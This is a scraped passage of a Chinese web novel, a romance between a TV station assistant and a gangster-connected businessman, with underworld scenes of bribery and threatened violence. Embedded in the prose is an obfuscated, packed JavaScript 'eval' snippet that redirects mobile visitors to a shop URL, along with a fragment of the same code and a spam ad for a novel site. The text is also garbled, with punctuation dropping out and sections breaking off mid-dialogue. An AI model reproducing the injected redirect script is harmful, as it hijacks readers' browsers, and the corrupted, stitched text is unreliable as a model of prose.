推第二次还是没推开。 程菲皱起眉正疑惑地认真倒腾门把手时察觉到背后陌生又熟悉的男性气息骤然袭近味道清淡冷冽夹杂一丝不甚明显的烟草味。 程菲身子僵住眨眼光景她整个人已被男人修长高大的阴影吞没。 “……”程菲脸红了个透尽管知道他只是好心来帮自己开车门仍无法克制地心跳如雷。 只能屏住呼吸一动不动乖乖地等。 “其实。”对方手握住门把冷不丁出声平和轻缓的声线几乎已印上她绯红欲滴的耳。 程菲犹豫迟迟地抬了下眼满脸困惑。 “一笔赞助而已。” 周清南微垂着眼皮直勾勾地瞧她用只有她能听见的音量轻缓续道“你与其低三下四讨好梅景逍不如直接来求我啊。” 作者有话要说 大佬:老婆我就差对你摇尾巴了看看我OK? —— 随机100红包包! 第 31 章 猫爪蛋糕。 第31章猫爪蛋糕。 这男人说话的语气好像永远都这副腔调,懒洋洋的,痞里痞气。仿佛事事不走心,样样不在意。 却听得程菲心口一阵灼乱,心脏噗通狂跳,好像下一秒就会因为心律过快而当场晕厥。 她暗自呼了一口气,定定神,然后便低着眸回道:“你要是真对我台的新栏目感兴趣,我一会儿就把所有相关资料发你微信。至于后续合作的事,我一个小角色可做不了主,你还是直接找我们总监吧。” 头顶上方,周清南垂着眸看她,听她说完,竟忍俊不禁地轻笑一声。 这番模样怎么形容。 冠冕堂皇的敷衍话,用公事公办一本正经的口吻说出来,照理说就该显得疏离,仿佛无形之中就能将她和他的关系划得清楚干净。 但是又很矛盾,她的脸颊耳根明明红得快要滴血,比石榴花的颜色还要鲜艳与妖糜。 难怪他总觉得她像只成了精的狐狸。 否则,为什么每次见到,他就总想对她做些什么。 脑海中那根名为理智的弦,又开始不断拉扯,一息光景便被绷紧到笔直,好像下一秒就会“嘣”的一声,断裂开。 周清南手还扶在车门的把手上,这个姿势着实暧昧,她和他的距离近到危险,近到他只需低一下头,嘴唇就能碰到她娇艳羞红的耳垂…… 周清南眸色转沉,食指失控地挑了下。 就在这时,咔哒一声,后座车门出了点故障的锁被打开了。 指尖卸了力,周清南眉眼微凝,一瞬便回过神来。 他松开了握住门把的五指,同时身体往后撤,将自己和怀中人的距离重新拉开,回到彼此的既定轨迹。脸色平静如初,未暴露丝毫心境起伏。 感觉到近在咫尺的压迫感消失,程菲稍微放松一分,胸腔内的心跳却还在疯狂激烈地跃动,心乱如麻。 她从头到尾没再敢看他,只是低着脑袋匆匆又道了声谢,随后便一把将车门推更开,几乎是逃也似的从车上跳下去。 反手一甩,将车门关上,步速飞快地离去。 周清南坐在车里,安静注视那道纤细背影没入夜色,短短几秒钟,竟有些失神。 这是第几次他这样目送她的背影? 看着她远去,离开,奔向市井深处那些平凡又温馨的万家灯火,直至消失不见。 仿佛从始至终,都只有他一个人被留在这看不到尽头的浓夜中。 这会儿差不多十点钟,天色到晚不晚,小区大门口仍有不少往来的邻里行人。晚归的上班族们神情疲乏,卤肉摊的摊主在路边高声叫卖,吆喝着最后几斤鲜卤猪耳朵打折大处理。 程菲的身影早已经进了小区大门,淹没进那片嘈杂与喧哗,周清南的视线却还是落在车窗外,不知在看什么。 驾驶室里,陆岩耐着性子等了会儿,半天没等到后座人的任何示下,不禁微蹙眉,狐疑地回过头。 然后就看见他家老板如珠似玉的一张侧颜。 那双深邃的眼瞳遥望着远处的市井人间,眼神里情绪微妙,教人难以猜透他此刻的心思。 陆岩扬了下眉。 不知为什么,此时他隐隐有种感觉——周清南的目光大约是穿过了那片人海喧哗,看到了更多其他人看不见的什么。 见状,陆岩收回视线不做声,选择了继续等待。 车厢内鸦默雀静。 忽地,一阵手机铃声突兀响起,是时下很流行的一首网络音乐,甜美造作的女声唱着俗到不能再俗的歌词,齁得人嗓子眼发紧。 “……”周清南微不可察地拧了下眉,斜眼瞥向驾驶室。 大写的嫌弃。 陆岩汗颜,飞快拿起控制台上的手机,把外放的音乐声给关掉。 陆岩看眼来电显示,将电话接起来,出口的嗓音冷冰冰的,自带杀气,很符合他一贯的威猛人设:“喂。” 对面的人说了几句什么,陆岩听完静默半秒,回对方:“稍等一下,我问问。” 说完,陆岩便将手机拿远几公分,手掌挡住收音器,转向周清南恭恭敬敬地说:“老板,贺温良和樊放的两个头马在花水那边干上了,说是闹得有点儿大,还惊动了条子。” 周清南闭眼捏眉心,眉宇间尽是不耐,“然后呢。” 陆岩没吱声。 周清南眼也不睁地说:“他们进警察局不是家常便饭,怎么,还要我出面去捞人?” “不是。”陆岩似乎有点难以 开口,停顿半秒,才又说,“说是那俩干架的时候,闯进来一个醉醺醺走错包房的倒霉蛋,他们也没留神,一棍子就给那倒霉蛋敲晕了。” 周清南转着白玉珠,沉声:“直接说重点。” 陆岩:“……那倒霉蛋是叶海生的儿子。” 闻声刹那,周清南揉捏眉心的动作倏然顿住,掀开眼皮,眸色阴晴不定。 最近中东那边的事本来就让他心烦,又得腾出手来应对梅家那个脑子有坑的小少爷,现在倒好,一件事都还没了结,自家后院里又失了火。 伤口痛,头他妈的也痛。 还有那个不知天高地厚、莫名其妙上赶着往虎穴狼窝闯的小姑娘…… 只有天晓得,周清南这会儿的心情简直不爽到快要爆炸。 “操。” 周清南扬手一把将白玉珠砸边上,脸色如冰,寒声对陆岩道,“给樊放和贺温良打电话,让他们半个钟头之内滚到尹华道见我。” 陆岩被生生震住,赶紧颔首:“知道了。” * 黑色越野从程菲家的小区门口驶离。 老街一带的基建落后,道路本就不宽敞,加上路两边还有不少钻城管空子违规摆摊的小商贩,几百米的距离,越野车硬是走了好几分钟。 最终转过一个弯,从人声鼎沸的老街尽头消失了踪迹。 “咔擦!” 手机快门键摁下,公放出声。 今晚客人不算多,顾静媛难得落了个清闲,正坐在餐车旁的一张塑料小板凳上打手机麻将。连输三局之后,她正说休息几分钟转转运,谁知刚一抬头,就撞见程菲从那辆黑色越野上下来。 顾静媛咬着烟眯了眯眼睛,心思一转,随手就把这这一幕给拍了下来。 完后眼瞧着小姑娘已经进小区,那辆车还干杵在原地不肯走,她闲着没事,就随手拍了拍那辆车。 此时,车辆离去,顾静媛眼神里带着几分浓郁兴味儿,慢悠悠地弯下腰,重新坐回小板凳上。 她将烟拿开,边随手点烟灰,边在手机主屏上找到微信APP,打开某个对话框,将刚才拍到的照片选中——发送过去。 顾静媛:【喏,这不又让我逮着了。】 过了差不多一分钟,对话框那头的 回复便弹出来。 幽幽兰草香:【收到】 幽幽兰草香:【你确定上次撞见的也是这辆车?】 顾静媛:【我确定啊,牌照号我都记得呢,错不了。】 幽幽兰草香:【但是现在的网约车不是一般都是电车吗?我看这车也不是绿牌照啊。】 顾静媛:【那我就不知道了。兴许你闺女这男朋友开网约车只是副业,还有个其他工作?等她什么时候愿意跟你说实话了,你再问问她呗。】 幽幽兰草香:【行。】 幽幽兰草香:【谢了啊静媛。】 顾静媛:【我们多少年的朋友了,你跟我还说谢谢,见外了啊。】 幽幽兰草香:【改天约你打麻将】 顾静媛:【你说的啊,可别忘了。】 程家。 和顾静媛简单聊了几句之后,蒋兰便眯了眯眼睛,迫不及待地将微信收到的几张照片保存进相册,然后便用指尖拖动,放大了看。 后面似乎还嫌不够清楚,蒋兰微蹙眉,起身将客厅的灯全部打开,又从卧室里取出了一副老花镜架在鼻梁上,继续认认真真地看,仔仔细细地瞧,眼睛都几乎埋进手机屏里。 程国礼那头刚上完洗手间出来,反手关门回过头,瞅见妻子这副阵仗,不禁狐疑,说:“你平时不是最节约吗,我刮胡子用电动剃须刀你都嫌我浪费电,今天怎么转性了。说着脑袋往上一扬,看向头顶上方那些亮晶晶的大灯泡,“舍得开这么多灯。 蒋兰像是压根没听见程国礼的话。见丈夫出来,她立刻两眼放光,抬手冲他挥挥,神神秘秘道:“你赶紧过来,看菲菲她顾姨给我发什么了! “发什么?程国礼纳闷儿,挑挑眉毛,“总不可能是偷拍的陈家槐裸照吧? 蒋兰:“…… 蒋兰无语,抄起手边的一支圆珠笔就给他砸过去,啐道:“一把年纪了还这么不正经,裸照你个头! 说着,蒋兰直接把手机往程国礼手上一塞,“自己看! 程国礼接过手机,低眸看向屏幕,见照片上的小姑娘身姿纤细仪态也好,从一辆黑色越野车上下来,光一个没什么表情的侧颜就十分美丽,顺眼得不能再顺眼。 “这不是我家靓女吗。程国礼 更不解了抬眼看蒋兰“这顾静媛怎么神叨叨的莫名其妙偷拍菲菲干什么?” “你才神叨叨的。”蒋兰把手机抢回来指着那辆黑色越野车道“睁大你的眼睛看清楚这就是你闺女那个地下恋男朋友的车!” 程国礼听完脸上露出个哭笑不得的表情斜眼瞧蒋兰说:“我说你和顾静媛也真够可以的。人家菲菲都没承认过这件事你们就连人家的车都给找出来了?” 蒋兰说:“上回顾静媛撞见那网约车小伙时他就是开的这辆车送菲菲回家 程国礼闻言又看了眼蒋兰手机上那张照片满脸无语:“你知道这辆车多少钱吗哪儿有人买个这么贵的大家伙跑网约车?” 蒋兰:“谁规定不能用豪车跑网约车?” 蒋兰一点儿不觉得自己的逻辑有问题义正言辞:“我和顾静媛都聊过了估摸着啊开网约车只是那个小伙的副业。” 程国礼懒得和她瞎扯从茶几上端起保温杯喝了口杯子里的菊花茶回道:“得你们俩就慢慢瞎猜去吧我去洗洗睡了。” “你回来。”蒋兰撒娇似的嗔了句伸手拽住程国礼的胳膊往后一扯口中失落道“静媛一共拍了四张照片但是你瞧所有照片的车窗户都黑咕隆咚的根本就看不清里面的人长什么样。” 程国礼好笑:“你要实在好奇菲菲那个男朋友长什么样你直接问她要照片不就行了。” “菲菲要是肯说实话我们至于在背后鬼鬼祟祟搞偷拍?” 蒋兰说话的同时又把手机往程国礼跟前一怼道:“你眼神儿好快再仔细看看能不能窥见丁点那位神秘小男友的庐山真面目?” 程国礼无奈只好继续放大图片端详。 忽地他注意到顾静媛发的第五张照片上后座车窗是半落状态但因为是抓拍看不清车中人的五官只依稀可见一副侧颜轮廓。 程国礼盯着那副轮廓看继而不知为何眸光微变…… 就在这时一阵开门声响起瞬间将夫妻俩的注意力引向玄关。 蒋兰看见女儿回来瞬间飞快将手机从丈夫手中夺回哒的声熄灭屏幕清清嗓子有点心虚地笑:“回来了呀。怎么样今晚见甲方还 顺利吗? “嗯,挺顺利的。程菲有点儿累,把从驿站取回的几个快递箱子往地上一放,弯腰换鞋。 蒋兰看眼地上的大盒小盒,随口问:“买的什么? “就是做甜品的一些小模具。程菲应完,打了个哈欠,之后便抱着快递盒往自己卧室走,边走边说,“喝了酒有点头晕,爸妈我先休息了哈。 “早点睡吧!蒋兰笑眯眯。 程菲进了房间,顺手关了门。 蒋兰探头看了眼紧闭着的次卧门,心里稍微松了口气,接着便转头看向程国礼,问:“怎么样,看出什么名堂没? 程国礼眉眼间的神情玄之又玄,静半秒,朝蒋兰摊了下手,摇头,表示毫无发现。 蒋兰见状,只得露出个无奈表情,进厨房倒水去了。 程国礼则回了主卧。 他在书桌前坐下,手指无意识抚摩过桌角残破的瘢痕,一时间,竟怔怔神出。 这张桌子还是程国礼和蒋兰刚结婚那会儿买的。那时他们还住在平谷菜市那片的贫民窟,日子穷得没法说,却是他一生中最难忘的时光。 有笑有泪有青春,也有陪在身边的几个兄弟。 片刻,程国礼起身,从书柜最下端的一个犄角旮旯里拿出一个旧钱夹,动手打开,一眼便看见夹相片的透明隔层。 二十多年前的老照片,被岁月冲刷得泛黄脱色,画面中是几张青春洋溢的面孔,冲着镜头笑。 程国礼取出照片,手指抠住照片背后的某个位置,轻轻一抬,照片被折进去的部分缓慢翻出。 那是一个白净而又英俊的青年,白衬衫灰长裤,右手胳膊勾着照片上满身少年气的程国礼,笑容腼腆。 霎时间,往事如潮朗,铺天盖地涌向程国礼。 他看了会儿照片,忽然失笑。 都说只有老人才最喜欢追忆往事。 程国礼觉得,他大概是真的老了,否则,怎么会觉得顾静媛偷拍到的那张模糊侧颜,和故人有几分神似? “阿城。 *35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后面的内容还没往下写,程菲的指尖便停住了。 她轻皱眉心,迟疑两秒,最终将输入框里的文字删了个干净,转而给温舒唯发送道:晚安。 紧接着程 菲便熄灭了手机屏。 她抬手摸了摸额头只觉恶寒。 不是。 自己在想什么呢?怎么会有那么离谱又荒谬的念头? 十有八九是今晚那杯红酒的后劲太大搞得她整副脑子都不太清醒了吧! * 程菲将头一晚的胡思乱想归罪于那瓶售价几大千的高档红酒指望着睡一觉、做个梦 为此她在睡前还特地看了会儿小说转移注意力。 然而缘分这玩意儿就是这么离奇次日上午她刚进演播大厦就从徐霞曼处得知了一个惊天噩耗。 “徐总您刚说什么?”程菲瞠目结舌眼珠子差点儿从眼眶里掉出来“周总要过来?哪个周总?” “瞧你这记性昨晚才一起吃了饭你还坐在人家旁边呢。这就忘了?”徐霞曼明显心情不错笑着打趣程菲“就是梅总那个好朋友呀。” 程菲彻底凌乱了蹙眉:“周总来我们这儿干什么?” “昨晚周总不是说对我们的新栏目感兴趣吗人家今天正好在这附近办事说顺路过来再当面聊一下。”徐霞曼边说边看眼腕上的手表站起身来“差不多了走和我一起去楼下接人。” “……”程菲还处于三百六十度全方位懵圈状态见徐霞曼起身往办公室外面走稀里糊涂地就跟了上去。 两人并肩同行刚好走点电梯厅时一阵轻盈且富有质感的高跟鞋声音却传来。 徐霞曼和程菲同时转了下头。 见是苏芝。 “徐总。”苏芝脸上挂起一丝恭谨的笑“王台长找您有点事请您现在过去一趟。” 闻言徐霞曼微不可察地皱了下眉旋即便朝苏芝颔首“好我知道了。” 徐霞曼紧接着又对程菲交代:“这样。你接到周总以后请周总去小会议室休息再把我们新栏目的所有资料打印一份出来。这个栏目的前期工作你也基本上是全程跟进很了解就先由你跟周总简单介绍一下。” 程菲:“我……” 徐霞曼却已转身和苏芝一道离去走半道上想起什么又扭头略拔高音量加了句叮嘱:“人家是贵客好好招呼!” “……好的。” 无法程菲只好只身一人乘电梯下楼去接她家徐总眼中的“大贵客”。 * 正是上班早高峰时段演播大厦的一层大厅人来人往全是衣着光鲜的传媒界精英。 然而程菲依然一眼就看见了周清南的身影。 这位大佬似乎很偏好正装打扮出席任何场合永远西装笔挺。身高气质容颜仪态全都出挑至极往人群中一站让人想忽视都难。 不过今日相见程菲第一眼看见的倒并不是大佬那张寒酥冷月似的脸蛋。 而是一副修长冷硬的背影。 他背对着她手机举到右耳边上正在打电话脚下步子懒漫地踱着周围并没有其他随行的人。 程菲眸光微闪。 视线不自觉顺着那副宽阔的肩线往下一扫看向男人窄瘦的腰。 她之前见识过这位大佬不穿衣服的尊容那身材宽肩腰窄肌理紧硕野性十足。可为什么穿上衣服就没那么壮了? 腰蛮细。 屁股也实在是翘…… 程菲胡思乱想着脑子里跟搅了几桶浆糊似的耳根脸蛋不自觉便泛起一丝红潮。 就在这时不远处的周清南挂断了手机像是察觉到来自后方的眼神注视他回过头。 “……嗨。” 目光交接程菲心里的慌乱无端更浓只能若无其事地挤出个笑打招呼:“早上好呀周总又见面了。” 周清南看着她注意到姑娘绯红的小脸和耳朵挑了挑眉平静应她:“早上好程助理。” 程菲这会儿大脑混乱跟周清南打完招呼后她就卡克了甚至忘了质问他这样三番两次插手她们台跟梅氏集团的合作葫芦里到底在卖什么药。 稀里糊涂地领着大佬进电梯稀里糊涂地领着大佬上楼再稀里糊涂地领着大佬进会议室。 进了门周清南径自落座。 她不开口他也就不动声色空间内寂静无声。 这边程菲静如呆鸡沉默了半天忽然听见会议室外传来大嗓门儿同事的说话声她才猛一下回过神三魂七魄悉数归位。 “哦。”她清清嗓子 第 32 章 你还想怎么招惹我... 第32章你还想怎么招惹我. 听完小姑娘最后那声细若蚊蚋的补充说明,周清南眼中的诧异之色不由更浓一分。 猫爪蛋糕?她亲手做的? 周清南仍保持轻抬眉峰的表情,配上这身雍容气度与西装革履的装扮,矜贵里缱出一分雅痞和流气。他淡淡地说:“程助理还会做蛋糕?” “一点小爱好,做着玩的。”程菲随口回他。 周清南直勾勾盯着她,又道:“听说制作甜品比较耗时间,你上周末做的?” 程菲闻言,一下便轻皱眉头,想也不想地便脱口而出道:“真要是上周末做的蛋糕,放了几天还能吃吗?当然不是了!那些猫爪蛋糕都是我昨天才做好的,还新鲜得很!” 说到这里,她顿了下,也不知哪根筋没搭对,直接就把后面的推测也一股脑地倒出来:“你以为我是周末做的蛋糕,过了期自己不想吃,所以才想拿给你,把你当人形垃圾桶吗?” 这位大佬怎么这样子,以小人之心度君子之腹,真是把别人的好心当做驴肝肺! 周清南瞧着程菲,目光在女孩脸蛋耳根之间流转一遭,眼底浮起几丝趣味。 她不知是震惊、生气还是其他原因,面颊的红云好似更艳丽几分,容光潋滟得要溢出水般,莫名便勾得人食指发痒,心也有点儿痒。 但他面上依然不动声色,只是细微扯了扯唇,曼声道:“周二晚上是跟梅氏的饭局,你这两天肯定都在忙着准备这件事,昨晚饭局结束,我送你回去又已经是十点多,所以我才判断,你是上周末制作的蛋糕。” 他言辞简洁逻辑清晰,一番依据摆出来,合情又合理。 程菲只顾反驳去了,脑子都没过一下便回他:“那我就不能是昨天熬夜做的吗?” 周清南拇指磨砖,轻轻摩挲了下自己血液跳动的食指,一双桃花眼笔直注视着程菲清亮的明眸,“看来程小姐昨晚失眠了。” “……”那还不都怪你? 如果不是脑子里不受控制地一直浮现出你这张好看又讨厌的脸,我会失眠吗?我会躺床上辗转反侧好半天都睡不着吗? 程菲在心里吐槽了两句,双颊的颜色却莫名更红,烧得像刚从汗蒸房里出 来似的。 这男人的眼神极有重量沉沉的压在人身上直教人喘不过气。程菲被他一瞬不眨地盯着看只觉全身的皮肤都在隐隐灼烧心慌意乱。 她怕他好奇心太过会接着追问她失眠的原因于是赶紧清清嗓子摆出副淡定又满不在乎的神情道:“那我做的猫爪蛋糕你到底要不要吃?” 周清南眼皮微垂视线下移寸许扫过程菲因紧张而悄悄绞衣摆的两只小手嘴角很淡地牵了牵又重新将目光落回她脸上。 周清南:“如果我拒绝你是不是会很失望?” “……不会啊。”程菲心底泛起失落明面上却半点不显露用这辈子最无所谓的语气小声嘀咕“你不吃就算了我等下分给我同事。” 周清南莞尔往她身后方向随意看一眼“东西在哪儿?” 程菲呆滞半秒冲他眨了眨眼睛好像还没反应过来。 “你做的猫爪蛋糕。”就连周清南自己都不知道他此刻眼底的柔光温若浅溪漫不经心地问“要不要我陪你一块儿去拿?” “在我的工位上。”程菲得到他的回答嘴角不自觉便往上翘起一个弧笑吟吟道“反正我还要给你打印资料到时候一起带过来就行周总稍等。” 说完程菲转身推开会议室的门出去了。 轻盈的脚步声远去步伐略微急很轻易便暴露出脚步主人内心的欢喜与迫不及待。 周清南高大身躯靠着椅背瞧着开启又合上的办公室大门眼底的笑意便逐渐消散下去被平日里的冷沉淡漠所取代。 安静等了会儿放在会议桌上的手机忽然响起一声。 周清南随手拿起来 是陆岩发的微信消息告知他:【老板樊放和贺温良的车已经进叶氏庄园了。】 周清南面上神情冷漠看完懒得回复径自又将屏幕给熄灭。 昨晚周清南回尹华道已经是晚上十点多。 他进屋以后没开灯独自坐在沙发上抽烟没一会儿功夫樊放和贺温良就来了。 这两人都是盘踞一方的龙虎在道上的名声响亮人人畏惧。但周清南在梅家的地位要高出他们一大截就好比龙虎见了真太岁是龙只能乖乖盘着 是虎也只能乖乖卧着。 他们知道自己捅了娄子进屋以后既不争辩也不解释恭恭敬敬招呼了一声“周先生”以后就乖乖站到了一边等话事人训诫。 周清南本就心情不佳见了面没工夫和这两人闲扯其他直接便开门见山淡淡道:“两位老大动了叶海生的儿子这事儿想怎么了?” 叶海生是丰兴集团的老总早年经历和梅凤年差不多都是由黑转白最成功的的代表性人物之一。 最重要的是叶海生年轻时候就跟梅凤年是死对头现如今两个教父级角色纷纷摇身一变成了“正经”生意人在各行各业里的竞争也日益增多叶海生更加看梅凤年不顺眼时不时就会给梅家使绊子。 前几个月叶家安插在梅氏内部的眼线立下大功居然将梅氏跟“红狼”组织合作的事给扒了出来可以说是拿住了梅家一个最重要的把柄。 梅凤年勃然大怒把家里的古董花瓶砸了个遍。可砸完瓶子发完火冷静下来又不得不思索应对之策。 毕竟现在是法治社会他不可能直接找人活埋叶海生全家思来想去这只千年老狐狸想出一个法子那就是把叶家也拉下水跟“红狼”组织合作让叶氏跟梅家成为一根绳上的蚂蚱一损俱损一荣俱荣。 梅凤年这手算盘打得精妙分点残羹剩菜给叶家 鹅小说的域名qiexs?(请来企 鹅小说 看最新章节 完整章节)自己挣大头既能保全自身利益又能防止叶海生在背后捅刀子。 于是这对几十年没同桌吃过饭的老冤家在三月底的时候见了一面。 席间梅凤年颇为主动表示想要跟叶海生冰释前嫌今后一起赚大钱发大财。 可叶海生能混到现在这个位子上自然不会是个吃干饭的酒囊饭袋他虽也心动梅凤年手上那份“大买卖”但这份买卖毕竟牵涉太广他心有顾虑加上对梅凤年充满戒备心并未当场答应。 只告诉梅凤年想要拿回那份被窃取的内部资料只凭一点口头上允诺的好处当然不可能要拿出更多诚意。 因此这几个月梅凤年光是陆陆续续送叶氏庄园的金条都将近四十公斤。 然而这些金条就像肉包子打狗一去不回扔进叶家这个无底洞连泡都没冒出一个——叶海生还是那句话和“红狼”合作的事需要 认真考虑。 梅凤年恼火得不行,又拿叶海生没办法,双方就这么僵上了。 谁能料到,梅叶两家再次打破僵局,会是以这么个滑稽又离谱的方式? 那头。 听完周清南的话,脾气暴躁的樊放先沉不住气,终于出声:“周先生,我知道梅老最近想跟叶海生谈合作,但是说实话,我认为根本没有必要。” 周清南闻声,皮笑肉不笑地扯了扯唇,身子懒洋洋靠回沙发靠背,问樊放:“那放哥有什么高见?” “他拿了咱们的把柄,捏得死紧,不肯把东西交回来,我们就想法子把他的手掰开。”樊放的眼神阴森病态,语气也恶狠狠的,“掰不开,直接剁了不也省事?” 樊放接着说:“如果梅老和周先生您不方便动手,这件事就交给我,我来搞定叶海生。” 此言一出,边儿上立即传来一声轻蔑的嗤笑,讥讽意味十足。 樊放皱眉,不爽地瞥向贺温良,阴恻恻骂道:“你他妈猪食吃多被噎了?还是在笑你妈啊。” 贺温良冷冷看樊放一眼,语气冰凉,文质彬彬:“你来搞定?怎么搞?绑了叶海生的女儿找人轮她,然后把视频发给叶海生,逼他就范?还是直接把刀架在叶海生脖子上,让他把资料还给你?” 贺温良说的样样都是樊放能干出来的事,樊放听完顿时有点恼羞成怒,眉头拧起一个结,没有吭声。 “有时候真想劝你多读点书,多吃点路边黄(猴脑)补补脑,叶海生是什么人,梅老斗了几十年都没把他斗垮,凭你那点下三滥的手段就想摆平?”贺温良语速平缓而温和,稍稍一顿,轻声,“总是在周先生面前这样出洋相,换成我是你,早就找块豆腐撞死了。” 樊放大怒,抬手狠狠指向贺温良,道:“姓贺的我告诉你,你他妈少在这儿装逼!你给老子记清楚,昨晚是你手下的人先动手!叶海生要给他儿子报仇,就他妈该把你五花大绑送过去!” 贺温良寒声:“放哥,饭可以乱吃话可不能乱说,当时砸在叶晋头上的那一棍子,可是你的手下打的……” 两个人正争执不休,沙发上忽然响起一声清脆的“叮”。 争论声戛然而止。 贺温良和樊放意识到什么,纷纷悻悻收声,不敢再造 次,齐刷刷垂下脑袋转向沙发右侧,等周清南发话。 刚才那声“叮是金属打火机被甩开盖子的声音。 周清南给自己点了根烟。 火星子烧烈烟丝,他被淡白色的烟雾熏得微眯起眼,抽了口烟,好几秒才抬指掸烟灰,没什么语气地问:“叶海生的儿子现在伤情如何。 樊放看了眼贺温良一眼,见对方没有答话的意思,便应声道:“伤情不严重。被打了一棍子,说是流了点血然后还有点儿脑震荡,别的没什么了。 “叶海生手上那份资料是个大麻烦,一旦他哪天抽个风,把那玩意儿匿名交给条子,梅家整条船都得翻个底朝天。叶晋是叶海生最喜欢的儿子,在你们手上着了道,叶海生肯定会借此做文章。 周清南抽着烟,脸色平静,说话的语气却寒意彻骨,直听得贺樊两人打了个冷战。 “梅老现在一门心思要跟叶家和解,你们在背后拖这么大一个后腿。说到这里,周清南凉凉地笑了下,撩起眼皮看两人,眼神阴沉,“你们觉得梅老知道以后,会是什么反应? 樊放“咕咚一声咽了口唾沫,之前的嚣张气焰霎时间烟消云散。 他看着周清南,诚恳道:“周先生,我们知道自己闯了祸,也知道自己错了。 贺温良思索几秒钟,也低眉敛目,恭谨地道:“周先生,明天一大早我就会去叶家登门请罪。 此言一出,樊放立即面露惊异。 他不可思议道:“亲自去叶家?操,贺温良你疯了?叶海生现在正在气头上,你他妈现在去请罪,不是往枪口上撞?不怕叶海生直接一枪崩了你? “只要能让叶海生消火,不牵连到周先生和梅老,崩了我就崩了呗。贺温良睨了眼樊放,唇畔挑起一抹讥诮的笑,“放哥,没有周先生和梅老,哪有你我的今天?大家都是出来混的,你这么怕死,怎么当上大哥的? 樊放恼火:“你…… 悄然觑一眼沙发上的周清南,樊放一滞,只得乖乖闭嘴,把问候贺温良祖宗十八代的话全咽回肚子里。 “老子死人堆里爬出来的,会贪生怕死? 须臾,樊放暗暗咬了咬牙,也终于下定决心般,对周清南道:“明天我也上樊家请罪去。 话音落地周清南缓慢吐出一口烟圈身子微前倾将还剩大半截的香烟戳熄在烟灰缸里。 他看都不再看樊放和贺温良只是语气随意地撂下一句话 * 程菲离开后周清南便独自坐在会议室里等候。 不多时两个衣着时尚的年轻员工从会议室门口经过。 大门没关严两人透过门缝往里一瞧一眼就看见一张冷峻如画的侧颜。 男人安静坐在会议桌前正低眸看手机窗外细碎的晨光照射进来为他周身的轮廓镶嵌起一层光圈就连他的黑色发丝也被镀上光泽。 这两个职员一男一女都是今年和程菲同批次进台实习的被对方的容貌气质惊艳窃窃议论起来。 “这是谁呀?”先发出问句的女孩叫秦小禾长头发大眼睛长得很清秀。 “听说是徐总监的一个客人。”旁边答话的男生也很年轻名叫韩邵阳二十六七的年纪打扮时髦“对徐总监策划的新栏目感兴趣过来谈赞助的。” 秦小禾闻言缓慢点点头接着又抻长脖子往门缝那边扫了眼狐疑:“可是这个客人怎么一个人在里面?徐总监人呢?” 韩邵阳说:“徐总被台长叫去说事情了。” “啊?”秦小禾蹙眉“那也不能把这么重要的贵客一个人撂在这儿吧……” 两人正说着话忽然一道清甜女声从背后传来礼貌地说:“不好意思请让一下。” 秦小禾与韩邵阳微怔回过头去。 只见出现在背后的年轻姑娘白衬衫牛仔裤白净的脸蛋上略施淡妆整个人宛如出水芙蓉一般清新妍丽。她怀里抱着一个深蓝色的文件夹左手小拇指上还挂着一个卡通塑料袋不知道装了什么。 “是你在替徐总监接待里面的客人?”秦小禾问。 “对呀。”程菲点头笑笑“新栏目的事我也做了一些工作徐总让我先介绍一下。” 看着程菲漂亮脸蛋上的友善笑容秦小禾心里有点不是滋味但也没多说什么侧身让开半步。 “谢谢哈。”程菲上前推开会议室的门进去了顺便反手将房门合紧发出声门锁轻响哒! 秦小禾站在原地看着那扇关紧了的会议室门忍不住小声说:“真不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481687|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐总为什么这么喜欢程菲大事小事全部交给她办我都快怀疑她是不是徐总的亲戚了。” “亲戚应该不至于我看过程菲的简历她老家和徐总的不是一个地儿。”韩邵阳回话 “会为人处世?”秦小禾细细品味着韩邵阳的这句话眉头越皱越紧声音压低几分“她该不会私下给了徐总什么好处吧?” 韩邵阳耸肩“这谁知道。不过我听说徐总后面要去京城开一个重要会议连带赞助商去栏目取景地考察这么重要的事她都交给了程菲办。” “徐总监这么信任她我倒要看看她到底几斤几两。”秦小禾轻哼一声。 韩邵阳笑容里带着几分奚落:“别到时候从兰贵县一回来所有意向赞助商全部跑路那才把脸丢到姥姥家。” “那就看咱们程助理有多大本事啦……” 两人聊着天走到尽头转了个弯消失了踪迹。 * 程菲进了会议室口中忙忙道:“不好意思资料有点多打印的时间比较久让你久等了。” 会议桌前周清南不着痕迹地将手机锁屏放到一旁抬起眼帘看向她“还好不算很久。” 姑娘的步速明显很急从外面赶回来额头上甚至沁出了一层薄薄的汗珠小巧的脸庞甚至是圆润挺翘的鼻头都染着一层红晕。 周清南见状道:“其实程助理不用这么着急等不到你我不会走。” “……” 什么话啊这是本末倒置就好像他来这里不是为了谈赞助新栏目纯粹只是为了见她似的…… 更炽烫的热意爬上面颊蔓延到耳朵。 程菲没忍住心跳的频率再次失序加快表面上又不敢表露只能用力清了清嗓子打开文件夹把打印好的一摞资料全部取出来整齐摆放在周清南跟前。 “喏。”程菲说“这就是我们栏目目前有的资料请周总过目。” 周清南看了眼面前的文件似乎对这摞死气沉沉的纸张兴趣匮乏旋即便又重新抬眸看向她。 他目光依次滑过她 晶亮的眼、绯红的颊,再往下,看向她饱满珠润的粉色嘴唇。 猜测,她应该是才喝过水,两片唇瓣看着水盈盈的,纯洁里头透出一丝若有似无的欲感。 那一刻,周清南脑子里无端便升起一个念头,清浅的瞳色霎时转黯。 短短零点几秒,他已将眼神从她的唇离开,再往下,注意到她拎在小拇指上的那个卡通袋子。 周清南看着那个小袋子,问程菲:“东西在里面? 程菲一时还没反应过来,不解地眨眼:“什么? 